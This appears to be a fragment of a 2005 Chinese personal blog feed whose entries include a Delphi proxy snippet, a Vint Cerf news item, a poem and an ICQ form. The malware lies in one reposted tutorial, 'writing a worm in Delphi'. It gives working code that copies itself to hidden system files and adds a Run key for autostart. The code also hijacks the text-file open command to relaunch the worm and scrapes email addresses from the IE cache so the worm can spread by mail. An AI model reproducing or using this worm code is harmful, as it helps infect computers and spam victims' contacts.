<P>　　function GetProxyInformation: string;<BR>　　var<BR>　　ProxyInfo: PInternetProxyInfo;<BR>　　Len: LongWord;<BR>　　begin<BR>　　Result := '';<BR>　　Len := 4096;<BR>　　GetMem(ProxyInfo, Len);<BR>　　try<BR>　　if InternetQueryOption(nil, INTERNET_OPTION_PROXY, ProxyInfo, Len) then<BR>　　if ProxyInfo^.dwAccessType = INTERNET_OPEN_TYPE_PROXY then<BR>　　begin<BR>　　Result := ProxyInfo^.lpszProxy<BR>　　end;<BR>　　finally<BR>　　FreeMem(ProxyInfo);<BR>　　end;<BR>　　end;</P>
<P>　　procedure GetProxyServer(protocol: string; var ProxyServer: string;<BR>　　var ProxyPort: Integer);<BR>　　var<BR>　　i: Integer;<BR>　　proxyinfo, ps: string;<BR>　　begin<BR>　　ProxyServer := '';<BR>　　ProxyPort := 0;</P>
<P>　　proxyinfo := GetProxyInformation;<BR>　　if proxyinfo = '' then<BR>　　Exit;</P>
<P>　　protocol := protocol + '=';</P>
<P>　　i := Pos(protocol, proxyinfo);<BR>　　if i &gt; 0 then<BR>　　begin<BR>　　Delete(proxyinfo, 1, i + Length(protocol));<BR>　　i := Pos(';', ProxyServer);<BR>　　if i &gt; 0 then<BR>　　proxyinfo := Copy(proxyinfo, 1, i - 1);<BR>　　end;</P>
<P>　　i := Pos(':', proxyinfo);<BR>　　if i &gt; 0 then<BR>　　begin<BR>　　ProxyPort := StrToIntDef(Copy(proxyinfo, i + 1, Length(proxyinfo) - i), 0);<BR>　　ProxyServer := Copy(proxyinfo, 1, i - 1)<BR>　　end<BR>　　end;<BR>　　//----------------------------------------------------------------<BR>　　//使用范例<BR>　　//----------------------------------------------------------------<BR>　　procedure TForm1.Button1Click(Sender: TObject);<BR>　　var<BR>　　ProxyServer: string;<BR>　　ProxyPort: Integer;<BR>　　begin<BR>　　GetProxyServer('http', ProxyServer, ProxyPort);<BR>　　if&nbsp; ProxyPort=0 then<BR>　　begin<BR>　　ShowMessage('你的IE没有使用的代理服务器')<BR>　　end<BR>　　else<BR>　　Label1.Caption := ProxyServer;<BR>　　label2.Caption := IntToStr(ProxyPort);</P>
<P>　　end;</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=20" /> 
	  <id>http://www.openx.cn/default.asp?id=20</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[买了新溜冰鞋～^……^～]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=4" label="照片" /> 
	  <updated>2005-09-10T21:18:13+08:00</updated>
	  <published>2005-09-10T21:18:13+08:00</published>
		  <summary type="html"><![CDATA[<P>再也不去溜冰场溜了～溜冰场卫生太差～而且鞋子不好～</P>
<P>还是自己买双溜冰鞋比较合适～</P>
<P>[img]attachments/month0509/3zr6_IMG_3181.gif[/img]</P>
<P>哈哈～花了三百四十九块大洋～也就是三百五十块大洋咯～</P>
<P>底座可是铝合金的哦～帅气吧～嘎嘎～</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=19" /> 
	  <id>http://www.openx.cn/default.asp?id=19</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[互联网之父加盟Google 不愿意只当精神领袖]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2005-09-09T23:03:56+08:00</updated>
	  <published>2005-09-09T23:03:56+08:00</published>
		  <summary type="html"><![CDATA[来自：新浪科技&nbsp;&nbsp; 
<DD class=ArticleContent>
<TABLE style="FLOAT: left; MARGIN: 0px 10px 10px" cellSpacing=0 cellPadding=0 align=left border=0>
<TBODY>
<TR>
<TD>
<SCRIPT type=text/javascript>
						<!--
						csdn_AD_Position_GroupID = "{e025b96b-2fda-4e82-84ef-3e0772838ed3}";
						csdn_AD_Page_Url = document.location;
						csdn_AD_CurrPage_CharSet = "gb2312";
						//-->
						</SCRIPT>

<SCRIPT src="http://ggmm.csdn.net/AD/Show_JavaScript_AD.js" type=text/javascript></SCRIPT>

<SCRIPT src="http://news.csdn.net/ad/news_textlink.js" type=text/javascript></SCRIPT>
</TD></TR></TBODY></TABLE>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 北京时间9月9日消息，据国外媒体报道，有“互联网之父”美誉的温顿-科夫(Vinton Cerf)已于本周四加盟Google，这意味着Google在创意和新产品开发等领域的实力进一步得到增强，而Google的人才库也多了一件威力巨大的“重型武器”。</P>
<P>　　科夫由MCI公司转投Google从一个侧面反映出Google为聚集人才所做的努力已收到成效。过去两年里，Google的员工总数增长了3倍，达到4200人。为了获得更多人才，Google&nbsp;不惜挖其它公司的墙角，当然这也给Google带来了麻烦。今年7月，微软向华盛顿州地方法院提起诉讼，指控Google挖走微软前全球副总裁李开复的行为违反了竞业禁止协议。</P>
<P>　　Google CEO埃里克-舒米特(Eric Schmidt)在接受采访时表示，科夫是互联网的创始人之一，他的加盟对于Google而言具有无可比拟的重大意义。科夫是互联网基础协议——TCIP/IP协议和互联网架构的合作设计者。1997年12月，美国前总统克林顿向科夫和他的合作者罗伯特-卡恩(Robert E. Kahn)颁发了美国国家技术勋章，以表彰其为互联网的建立和发展所做的贡献。舒米特说：“科夫是当前互联网产业最为重要的人物之一，他将给Google带来更多新创意。”</P>
<P>　　科夫将从今年10月3日开始为Google工作，他在Google的头衔为首席互联网传道者(chief Internet evangelist)。不过，科夫并不希望加盟Google后成为有名无实的精神领袖或空想家。他说：“过去我做了什么对于Google并不重要，重要的是我现在正在做什么，以及我未来将要做什么。”</P>
<P>　　加盟Google之后，科夫将继续担任互联网域名与地址管理机构ICANN的董事会主席，同时担任美国宇航局喷气推进实验室的访问学者。过去11年里，科夫一直在MCI工作，最近担任的一个职务是科技战略部门副总裁。科夫表示，MCI以85亿美元的价格出售给Verizon通信公司并不是他离职的主要原因，在Google工作一直是他的梦想。</P>
<P>　　到目前为止，Google还没有公布科夫的薪酬情况。根据微软提交给法院的文件，Google为吸引李开复加盟不惜投入千万美元，其中仅签字费就达到250万美元。科夫在Google的主要工作是开发新型应用，作为Google搜索引擎的必要补充。最近几年里，Google推出了多款免费软件，帮助用户搜索计算机文件、排序数码照片、拨打IP电话以及进行文本交流。此外，Google还推出了Gmail电子邮件服务。</P>
<P>　　加盟成立仅仅7年的Google之后，科夫将成为Google企业文化的一个另类。这主要因为Google的员工大多十分年轻，Google创始人拉里-佩奇(Larry Page)和塞吉-布林(Sergey Brin)也只有32岁。但科夫对于能否融入Google文化并不担心，尽管他上班时总是喜欢西装革履，而Google员工大多一身休闲装扮。科夫将直接向Google副总裁阿兰-奥斯塔斯(Alan Eustace)负责，但他的工作地点并不在硅谷，而是在Google维吉尼亚州办事处，那里距离他的家比较近。<BR></P></DD>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=18" /> 
	  <id>http://www.openx.cn/default.asp?id=18</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[浅谈用delphi来编写蠕虫病毒]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2005-09-09T17:44:58+08:00</updated>
	  <published>2005-09-09T17:44:58+08:00</published>
		  <summary type="html"><![CDATA[<DIV id=size style="LINE-HEIGHT: 180%">作者：不详&nbsp;&nbsp;<BR>出处：不详&nbsp;&nbsp;<BR>//////////<BR>前言：&nbsp;<BR><BR>可能大家想到病毒，第一反应就是可能是用asm来编写，或者是vbsript，而高级语言如delphi就好象不能编写一样，其实事实并不是这个样子的，只要我们花一些时间，照样可以写出简短而高效的病毒程序来，一点也不输那些用汇编写出来的程序哦。&nbsp;<BR><BR>一个病毒程序首先要短小，我们的目标是经过压缩后控制在30k以下。用过delphi的朋友都知道，如果在uses里面加入forms,classes.....等就会使目标文件非常的大，所以，在我们的程序里，我们要尽可能的不用这些库。我们只用windows,winsock,shellapi,sysutils(这个里面包含了一些常用的函数，比如对文件的操作，对字符串的操作，如果用自己的程序来代替，目标文件会更加的小)&nbsp;<BR><BR><BR>首先，我们知道，一个病毒程序一般都分下面三个模块：&nbsp;<BR><BR>①保护模块；&nbsp;<BR><BR>②感染模块；&nbsp;<BR><BR>③发作模块。&nbsp;<BR><BR>下面我们就从这三个模块开始，分别实现他们的代码。&nbsp;<BR><BR><BR>一)保护模块。&nbsp;<BR><BR>一般，我们都是把自身拷贝到系统的一些目录里，比如%systemroot%&nbsp;<BR><BR>那么，我们首先要取得这些特定的目录的路径&nbsp;<BR><BR>sdk里面给我们提供了一个这样的函数GetSystemDirectory&nbsp;<BR><BR>UINT&nbsp;GetSystemDirectory(&nbsp;<BR><BR>LPTSTR&nbsp;lpBuffer,&nbsp;//&nbsp;存放返回的字符串的缓冲区&nbsp;<BR><BR>UINT&nbsp;uSize&nbsp;//&nbsp;上面的缓冲去的长度&nbsp;<BR><BR>);&nbsp;<BR><BR>相关的函数还有GetWindowsDirectory可以得到%windows%的路径&nbsp;<BR><BR><BR>得到了系统的目录后，第二步就是拷贝文件了。sdk为我们提供了一个函数copyfile&nbsp;<BR><BR>BOOL&nbsp;CopyFile(&nbsp;<BR><BR>LPCTSTR&nbsp;lpExistingFileName,&nbsp;//&nbsp;源文件的路径&nbsp;<BR><BR>LPCTSTR&nbsp;lpNewFileName,&nbsp;//&nbsp;目标文件的路径&nbsp;<BR><BR>BOOL&nbsp;bFailIfExists&nbsp;//&nbsp;这是一个标志，如果目标文件已经存在，是否强制覆盖&nbsp;<BR><BR>);&nbsp;<BR><BR><BR>拷贝文件完毕后,我们来把这个文件设置为系统和隐藏，那么一般情况是看不见该文件的，&nbsp;<BR><BR>除非选取查看所有文件，以及显示受保护文件。&nbsp;<BR><BR>同样，介绍一个函数SetFileAttributes&nbsp;<BR><BR>BOOL&nbsp;SetFileAttributes(&nbsp;<BR><BR>LPCTSTR&nbsp;lpFileName,&nbsp;//&nbsp;需要设置的文件的文件名&nbsp;<BR><BR>DWORD&nbsp;dwFileAttributes&nbsp;//&nbsp;设置的值。&nbsp;<BR><BR>);&nbsp;<BR><BR>我们这里要设置为隐藏和系统，那么就为第二个参数传递FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM&nbsp;<BR><BR><BR>下面就是最重要的，让该文件开机自动运行，我们一般都是写注册表，&nbsp;<BR><BR>首先用RegOpenKey函数来打开一个键，&nbsp;<BR><BR>LONG&nbsp;RegOpenKey(&nbsp;<BR><BR>HKEY&nbsp;hKey,&nbsp;//&nbsp;主键，比如HKEY_LOCAL_MACHINE&nbsp;<BR><BR>LPCTSTR&nbsp;lpSubKey,&nbsp;//&nbsp;跟随的subkey&nbsp;<BR><BR>PHKEY&nbsp;phkResult&nbsp;//&nbsp;存放函数返回这个打开的键的句柄&nbsp;<BR><BR>);&nbsp;<BR><BR>得到了HKEY后，就可以用regsetvalueex来向该键写具体的值了。&nbsp;<BR><BR>LONG&nbsp;RegSetValueEx(&nbsp;<BR><BR>HKEY&nbsp;hKey,&nbsp;//&nbsp;这个就是刚才我们得到的句柄&nbsp;<BR><BR>LPCTSTR&nbsp;lpValueName,&nbsp;//&nbsp;键名的地址&nbsp;<BR><BR>DWORD&nbsp;Reserved,&nbsp;//&nbsp;一般设置为0&nbsp;<BR><BR>DWORD&nbsp;dwType,&nbsp;//&nbsp;我们写的键的类型，字符串为REG_SZ&nbsp;<BR><BR>CONST&nbsp;BYTE&nbsp;*lpData,&nbsp;//&nbsp;键值的地址&nbsp;<BR><BR>DWORD&nbsp;cbData&nbsp;//&nbsp;写入的键值的长度&nbsp;<BR><BR>);&nbsp;<BR><BR><BR>下面，我综合上面的说明来给出一个简短的例子：&nbsp;<BR><BR>procedure&nbsp;SelfCopy;&nbsp;<BR><BR>var&nbsp;<BR><BR>Path,Value:array&nbsp;[0..255]&nbsp;of&nbsp;char;&nbsp;<BR><BR>Hk:HKEY;&nbsp;<BR><BR>S:string;&nbsp;<BR><BR>begin&nbsp;<BR><BR>GetSystemDirectory(Path,256);&nbsp;<BR><BR>//取得系统的路径&nbsp;<BR><BR>s:=strpas(Path);&nbsp;<BR><BR>//转换成字符串&nbsp;<BR><BR>CopyFile(pchar(paramstr(0)),pchar(S+'\ruin.exe'),false);&nbsp;<BR><BR>CopyFile(pchar(paramstr(0)),pchar(S+'\virus_ruin.exe'),false);&nbsp;<BR><BR>//把自身拷贝到系统目录下为ruin.exe,virus_ruin.exe&nbsp;<BR><BR>SetFileAttributes(pchar(S+'\ruin.exe'),FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM);&nbsp;<BR><BR>SetFileAttributes(pchar(S+'\virus_ruin.exe'),FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM);&nbsp;<BR><BR>//设置刚才的两个文件为系统和隐藏&nbsp;<BR><BR>RegOpenKey(HKEY_CLASSES_ROOT,'txtfile\shell\open\command',Hk);&nbsp;<BR><BR>Value:='virus_ruin.exe&nbsp;%1';&nbsp;<BR><BR>RegSetValueEx(Hk,'',0,REG_SZ,@Value,17);&nbsp;<BR><BR>//把virus_ruin.exe和文本文件关联&nbsp;<BR><BR>RegOpenKey(HKEY_LOCAL_MACHINE,'Software\Microsoft\Windows\CurrentVersion\Run',Hk);&nbsp;<BR><BR>Value:='ruin.exe';&nbsp;<BR><BR>RegSetValueEx(Hk,'ruin',0,REG_SZ,@Value,8);&nbsp;<BR><BR>//设置开机自动运行ruin.exe&nbsp;<BR><BR>end;&nbsp;<BR><BR>我们看上面的这个程序，就完成了自我复制，和开机自动运行，&nbsp;<BR><BR>并且关联了文本文件，这样，如果run下的键被删除，那么他打开文本文件，蠕虫文件又被激活。&nbsp;<BR><BR>不过这个样子，你就需要在你的主程序里面进行判断，如果传递的参数等于1&nbsp;，则打开该文本，&nbsp;<BR><BR>并且进行自我保护。&nbsp;<BR><BR>如：&nbsp;<BR><BR>begin&nbsp;<BR><BR>if&nbsp;paramcount=1&nbsp;then&nbsp;<BR><BR>shellexecute(0,'open','notepad.exe',pchar(paramstr(1)),nil,sw_normal);&nbsp;<BR><BR>//其他的代码&nbsp;<BR><BR><BR>这里，我只是给出一个简单的例子来描述出一个大概的思路，&nbsp;<BR><BR>很多地方还不完善，比如进程的隐藏，&nbsp;<BR><BR>你可以进行判断，&nbsp;<BR><BR>如果是98你可以registerserverapplication如果你是用的2000，你可以做为服务启动，&nbsp;<BR><BR>或者是插入dll，或者是用求职信的方法，开机加载一个dll,或者是win.ini&nbsp;<BR><BR>或者..........&nbsp;<BR><BR>因为我这里只是浅谈，只给大家提供一个思路，&nbsp;<BR><BR>如果你要深入研究，推荐看看shotgun的《揭开木马的神秘面纱》。&nbsp;<BR><BR>{&nbsp;<BR><BR>注：由于小弟水平有限，并且是小弟第一次写文章，自然难免有很多不足的地方，还请大家包涵！&nbsp;<BR><BR>如果你有什么意见和建议，也请给我来信，大家互相学习，互相探讨！&nbsp;<BR><BR>}&nbsp;<BR><BR>各位看官，我们接着上次的part&nbsp;Ⅰ&nbsp;开始讲解！&nbsp;<BR><BR><BR>上次我只是简单的讲解了如何进行简单的自我保护，也算是简单的完成了一个蠕虫病毒的自我保护了，&nbsp;<BR><BR>而蠕虫最重要的一个环节就是进行传染了，一般都是把自己做为邮件的附件发送出去，然后配合一些系&nbsp;<BR><BR>统的漏洞，比如mime漏洞，只要预览该文件就可以执行。本来用vbscript可以很简单的把自身发给每一个&nbsp;<BR><BR>outlook的通讯薄里的用户，但是这样一来就不能自己控制发送的内容，也就是不能利用mime漏洞了，所以，&nbsp;<BR><BR>需要我们自己来手工的编写程序来解决这个问题。&nbsp;<BR><BR>那么就给我们编写程序提出了几个问题：&nbsp;<BR><BR>1)如何得到该电脑上的email地址。&nbsp;<BR><BR>2)如何用delphi来进行邮件的发送。（当然不能用控件了，所以只用winsock）&nbsp;<BR><BR>下面，我们首先来解决第一个问题。&nbsp;<BR><BR><BR><BR>一)得到电脑上的email地址&nbsp;<BR><BR>要得到电脑上的email地址，我想应该是可以从outlook的通讯薄直接得到，但是我才疏学浅，还没有搞定&nbsp;<BR><BR>这个问题，如果你有这方面的资料，还请你告诉我。于是，我们就换一种方法，我们来从IE的缓存中提取地址。&nbsp;<BR><BR>老惯例，文字不够用代码来凑，介绍几个函数：&nbsp;<BR><BR>function&nbsp;FindFirst(const&nbsp;Path:&nbsp;string;&nbsp;Attr:&nbsp;Integer;&nbsp;var&nbsp;F:&nbsp;TSearchRec):&nbsp;Integer;&nbsp;<BR><BR>function&nbsp;FindNext(var&nbsp;F:&nbsp;TSearchRec):&nbsp;Integer;&nbsp;<BR><BR>procedure&nbsp;FindClose(var&nbsp;F:&nbsp;TSearchRec);&nbsp;<BR><BR>上面这三个函数其实是和sdk里面的FindFirstFile,FindNextFile相对应的，不过既然delphi为我们提供了现成&nbsp;<BR><BR>的说明，我们就利用它好了，毕竟在delphi里使用起来也方便一些。根据上面的三个函数，我们了一个函数来&nbsp;<BR><BR>搜索某一个文件夹下面的所有htm文件。我们在这里用的是递归的方法，如果找到的文件是目录，并且不是"."或者".."就进行递归。&nbsp;<BR><BR>好，我们还是边看代码边解释。&nbsp;<BR><BR><BR>procedure&nbsp;FindFiles(StartDir:&nbsp;string);&nbsp;<BR><BR>var&nbsp;<BR><BR>SR:&nbsp;TSearchRec;&nbsp;//用来储存返回的文件的一些数据&nbsp;<BR><BR>IsFound:&nbsp;Boolean;//做为一个标志&nbsp;<BR><BR>begin&nbsp;<BR><BR>IsFound&nbsp;:=FindFirst(StartDir+'*.htm',&nbsp;faAnyFile-faDirectory,&nbsp;SR)&nbsp;=&nbsp;0;&nbsp;<BR><BR>//在startdir里面查找htm文件&nbsp;<BR><BR>while&nbsp;IsFound&nbsp;do&nbsp;begin&nbsp;<BR><BR>//如果找到htm文件&nbsp;<BR><BR>GetEmailAddress(startdir+sr.Name);&nbsp;<BR><BR>//这里调用我们自己定义的函数，传递的参数是startdir+sr.name也就是该文件的绝对路径。&nbsp;<BR><BR>//注意，这里的函数&nbsp;GetEmailAddress我们等一下再来描述&nbsp;<BR><BR>IsFound&nbsp;:=&nbsp;FindNext(SR)&nbsp;=&nbsp;0;&nbsp;<BR><BR>//继续查找htm文件，只到标志isfound为false&nbsp;<BR><BR>end;&nbsp;<BR><BR>FindClose(SR);&nbsp;<BR><BR>IsFound&nbsp;:=&nbsp;FindFirst(StartDir+'*.*',&nbsp;faAnyFile,&nbsp;SR)&nbsp;=&nbsp;0;&nbsp;<BR><BR>//现在是查找所有的文件&nbsp;<BR><BR>while&nbsp;IsFound&nbsp;do&nbsp;begin&nbsp;<BR><BR>if&nbsp;((SR.Attr&nbsp;and&nbsp;faDirectory)&nbsp;&lt;&gt;&nbsp;0)&nbsp;and(SR.Name[1]&nbsp;&lt;&gt;&nbsp;'.')&nbsp;then&nbsp;<BR><BR>findfiles(startdir+sr.Name+'\');&nbsp;<BR><BR>//如果该文件是目录，并且不是"."或者".."，那么就在该目录里继续查找，也就是在这里递归了。&nbsp;<BR><BR>IsFound&nbsp;:=&nbsp;FindNext(SR)&nbsp;=&nbsp;0;&nbsp;<BR><BR>end;&nbsp;<BR><BR>FindClose(SR);&nbsp;<BR><BR>end;&nbsp;<BR><BR><BR>ok，看到这里，我想聪明的你一定看到了我们的那个函数GetEmailAddress了，对了，我们就是不停的枚举&nbsp;<BR><BR>缓存中的所有文件，如果是htm文件，就把该文件的绝对路径做为参数传递给我们下面要写的函数GetEmailAddress来得到一个email地址列表。&nbsp;<BR><BR><BR>那下面的这个函数GetEmailAddress就很容易编写了。&nbsp;<BR><BR>我只说一说简单的原理，就是打开一个htm文件，&nbsp;<BR><BR>一次读一行文本，然后看是否有"mailto:"，&nbsp;<BR><BR>如果有，就把紧接着的字符读出来，只到出现非法字符。&nbsp;<BR><BR>不过有一点这个方法只能读作为连接的email地址，&nbsp;<BR><BR>不过也足够了。&nbsp;<BR><BR>好，大家看程序：&nbsp;<BR><BR><BR>procedure&nbsp;GetEmailAddress(FileName:string);&nbsp;<BR><BR>var&nbsp;<BR><BR>F:textfile;&nbsp;<BR><BR>S:string;//用来装每次读一行的字符串&nbsp;<BR><BR>Address:string;//得到的email地址&nbsp;<BR><BR>i,Position:integer;&nbsp;<BR><BR>begin&nbsp;<BR><BR>AssignFile(F,FileName);&nbsp;<BR><BR>Reset(f);&nbsp;<BR><BR>while&nbsp;not&nbsp;Eof(f)&nbsp;do&nbsp;<BR><BR>begin&nbsp;<BR><BR>Address:='';&nbsp;<BR><BR>//首先清空address&nbsp;<BR><BR>Readln(f,s);&nbsp;<BR><BR>//读取一行字符串到s中&nbsp;<BR><BR>Position:=Pos('mailto:',S);&nbsp;<BR><BR>//查找首个"mailto:"在s中的地址，如果一行中含有多个"mailto:"则需要你自己修改修改&nbsp;<BR><BR>if&nbsp;Position&nbsp;&gt;&nbsp;0&nbsp;then&nbsp;<BR><BR>begin&nbsp;<BR><BR>for&nbsp;i:=Position+7&nbsp;to&nbsp;length(S)&nbsp;do&nbsp;<BR><BR>//这里position+7里的7表示"mailto:"的长度&nbsp;<BR><BR>begin&nbsp;<BR><BR>if&nbsp;((Upcase(s[i])&lt;=#90)&nbsp;and&nbsp;(Upcase(s[i])&gt;=#64))&nbsp;or&nbsp;((S[i]&lt;=#57)&nbsp;and&nbsp;(S[i]&gt;=#48))&nbsp;or&nbsp;(S[i]='.')&nbsp;then&nbsp;<BR><BR>//判断是否有效字符&nbsp;<BR><BR>Address:=Address+S[i]&nbsp;<BR><BR>else&nbsp;<BR><BR>break;&nbsp;<BR><BR>end;&nbsp;<BR><BR>if&nbsp;(Address&lt;&gt;'')&nbsp;and&nbsp;(Pos('@',Address)&lt;&gt;0)&nbsp;then&nbsp;<BR><BR>//如果是有效地址，就把它写到列表中去。&nbsp;<BR><BR>//但是，可能这个地址以前已经存在在这个列表中，&nbsp;<BR><BR>//所以我定义了一个函数WriteAddress来判断是否存在该地址&nbsp;<BR><BR>//如果不存在，就添加到地址列表中去。&nbsp;<BR><BR>WriteAddress(Address);&nbsp;<BR><BR>end;&nbsp;<BR><BR>end;&nbsp;<BR><BR>closefile(f);&nbsp;<BR><BR>end;&nbsp;<BR><BR><BR>现在搜索email地址只剩下最后一道工序了，那就是上面的WriteAddress函数，&nbsp;<BR><BR>用来判断地址的有效性。这个很简单，&nbsp;<BR><BR>我也不打算用什么数据结构或者算法，只是用最简便的方法来实现。&nbsp;<BR><BR>程序代码如下:&nbsp;<BR><BR><BR>procedure&nbsp;WriteAddress(Address:string);&nbsp;<BR><BR>var&nbsp;<BR><BR>F:textfile;&nbsp;<BR><BR>S,Str:string;&nbsp;<BR><BR>CanWrite:boolean;&nbsp;<BR><BR>Path:array[0..255]&nbsp;of&nbsp;char;&nbsp;<BR><BR>begin&nbsp;<BR><BR>GetSystemDirectory(path,256);&nbsp;<BR><BR>//首先取得系统目录，到时候把email地址列表文件保存到这里。&nbsp;<BR><BR>Str:=Strpas(Path);&nbsp;<BR><BR>CanWrite:=true;&nbsp;<BR><BR>AssignFile(F,Str+'\maillist.lst');&nbsp;<BR><BR>if&nbsp;FileExists(Str+'\maillist.lst')=false&nbsp;then&nbsp;<BR><BR>begin&nbsp;<BR><BR>//如果不存在maillist.lst，则信建一个文件maillist.lst来存放email地址。&nbsp;<BR><BR>Rewrite(F);&nbsp;<BR><BR>writeln(F,Address);&nbsp;<BR><BR>Closefile(F);&nbsp;<BR><BR>exit;&nbsp;<BR><BR>end&nbsp;else&nbsp;<BR><BR>begin&nbsp;<BR><BR>Reset(f);&nbsp;<BR><BR>while&nbsp;not&nbsp;Eof(F)&nbsp;do&nbsp;<BR><BR>begin&nbsp;<BR><BR>Readln(F,S);&nbsp;<BR><BR>if&nbsp;Address=S&nbsp;then&nbsp;<BR><BR>begin&nbsp;<BR><BR>CanWrite:=false;&nbsp;<BR><BR>break;&nbsp;<BR><BR>end;&nbsp;<BR><BR>end;&nbsp;<BR><BR>CloseFile(F);&nbsp;<BR><BR>end;&nbsp;<BR><BR>//上面用来和文件里以经存在的地址一个一个的进行效验，如果不存在就写到列表里去。&nbsp;<BR><BR>if&nbsp;CanWrite&nbsp;then&nbsp;<BR><BR>begin&nbsp;<BR><BR>Append(F);&nbsp;<BR><BR>Writeln(F,Address);&nbsp;<BR><BR>CloseFile(F);&nbsp;<BR><BR>end;&nbsp;<BR><BR>end;&nbsp;<BR><BR>当然，如同我们上面所说，我只是用最简便的方法来做，&nbsp;<BR><BR>如果你要讲究效率，当然可以进行一些改动，&nbsp;<BR><BR>比如说搜索到的地址来做一个堆，&nbsp;<BR><BR>最后把堆里所有的地址都写到列表里来就可以了。&nbsp;<BR><BR><BR>好，现在你可以在你的主程序里简单的写几句代码来调用上面写的几个函数了，&nbsp;<BR><BR>如下:&nbsp;<BR><BR>var&nbsp;<BR><BR>HK:HKEY;&nbsp;<BR><BR>IeCache:array[0..255]&nbsp;of&nbsp;char;&nbsp;<BR><BR>IeCacheLen:integer;&nbsp;<BR><BR>S:string;&nbsp;<BR><BR>begin&nbsp;<BR><BR>IeCacheLen:=256;&nbsp;<BR><BR>//设置返回值的长度&nbsp;<BR><BR>RegOpenKey(HKEY_CURRENT_USER,'Software\Microsoft\Windows\CurrentVersion\Explorer\Shell&nbsp;Folders\',HK);&nbsp;<BR><BR>RegQueryValueEx(HK,'Cache',nil,nil,@IeCache,@ieCacheLen);&nbsp;<BR><BR>//读取IE缓存的路径&nbsp;<BR><BR>S:=Strpas(IeCache)+'\';&nbsp;<BR><BR>//在刚才取得的路径后面加一个'\'&nbsp;<BR><BR>FindFiles(S);&nbsp;<BR><BR>//调用我们自己写的函数&nbsp;<BR><BR>end;&nbsp;<BR><BR>调用完毕后，email地址就都保存在系统目录的maillist.lst文件中了。</DIV>
<DIV style="LINE-HEIGHT: 180%">&nbsp;</DIV>
<DIV style="LINE-HEIGHT: 180%">以上文章来自：<A href="http://www.uu987.com/showart.asp?art_id=31">http://www.uu987.com/showart.asp?art_id=31</A></DIV>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=16" /> 
	  <id>http://www.openx.cn/default.asp?id=16</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[天涯思君不可忘]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2005-09-07T16:09:18+08:00</updated>
	  <published>2005-09-07T16:09:18+08:00</published>
		  <summary type="html"><![CDATA[<FONT face=楷体_GB2312 color=#0000ff size=4>
<P>
<P><FONT face=楷体_GB2312 color=#0000ff size=4></FONT></P><FONT face=楷体_GB2312 color=#0000ff size=4>思君如流水，何有穷已时？</FONT></P>
<P><FONT face=楷体_GB2312 color=#0000ff size=4>思君如陇水，长鸣呜咽声。</FONT></P>
<P><FONT face=楷体_GB2312 color=#0000ff size=4>思君如明烛，煎心且衔泪。</FONT></P>
<P><FONT face=楷体_GB2312 color=#0000ff size=4>思君如孤灯，一夜一心死。</FONT></P>
<P><FONT face=楷体_GB2312 color=#0000ff size=4>思君如夜烛，煎泪几千行。</FONT></P>
<P><FONT face=楷体_GB2312 color=#0000ff size=4>思君如百草，缭乱逐春生。</FONT></P>
<P><FONT face=楷体_GB2312 color=#0000ff size=4>思君如夜烛，煎泪几千行。</FONT></P>
<P><FONT face=楷体_GB2312 color=#0000ff size=4>思君如百草，缭乱逐春生。</FONT></P></FONT>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=15" /> 
	  <id>http://www.openx.cn/default.asp?id=15</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[在线向ICQ发送信息]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2005-09-07T09:01:33+08:00</updated>
	  <published>2005-09-07T09:01:33+08:00</published>
		  <summary type="html"><![CDATA[<P>&lt;form action="<A href="http://msg.mirabilis.com/scripts/WWPMsg.dll">http://msg.mirabilis.com/scripts/WWPMsg.dll</A>" method="get" name="frmPager"&gt;</P>
<P>&lt;table class="tborder" cellpadding="6" cellspacing="1" border="0" width="100%"&gt;<BR>&lt;tr&gt;<BR>&nbsp;&lt;td class="tcat"&gt;<BR>&nbsp;&nbsp;&lt;span class="smallfont" style="float:right"&gt;&lt;a href="#" onclick="self.close()"&gt;关闭窗口&lt;/a&gt;&lt;/span&gt;<BR>&nbsp;&nbsp;ICQ号码<BR>&nbsp;&lt;/td&gt;<BR>&lt;/tr&gt;<BR>&lt;tr&gt;<BR>&nbsp;&lt;td class="panelsurround" align="center"&gt;<BR>&nbsp;&lt;div class="panel"&gt;<BR>&nbsp;&nbsp;&lt;div align="left"&gt;<BR>&nbsp;&nbsp;<BR>&nbsp;&nbsp;&lt;div class="fieldset"&gt;<BR>&nbsp;&nbsp;&nbsp;&lt;table cellpadding="0" cellspacing="3" border="0" 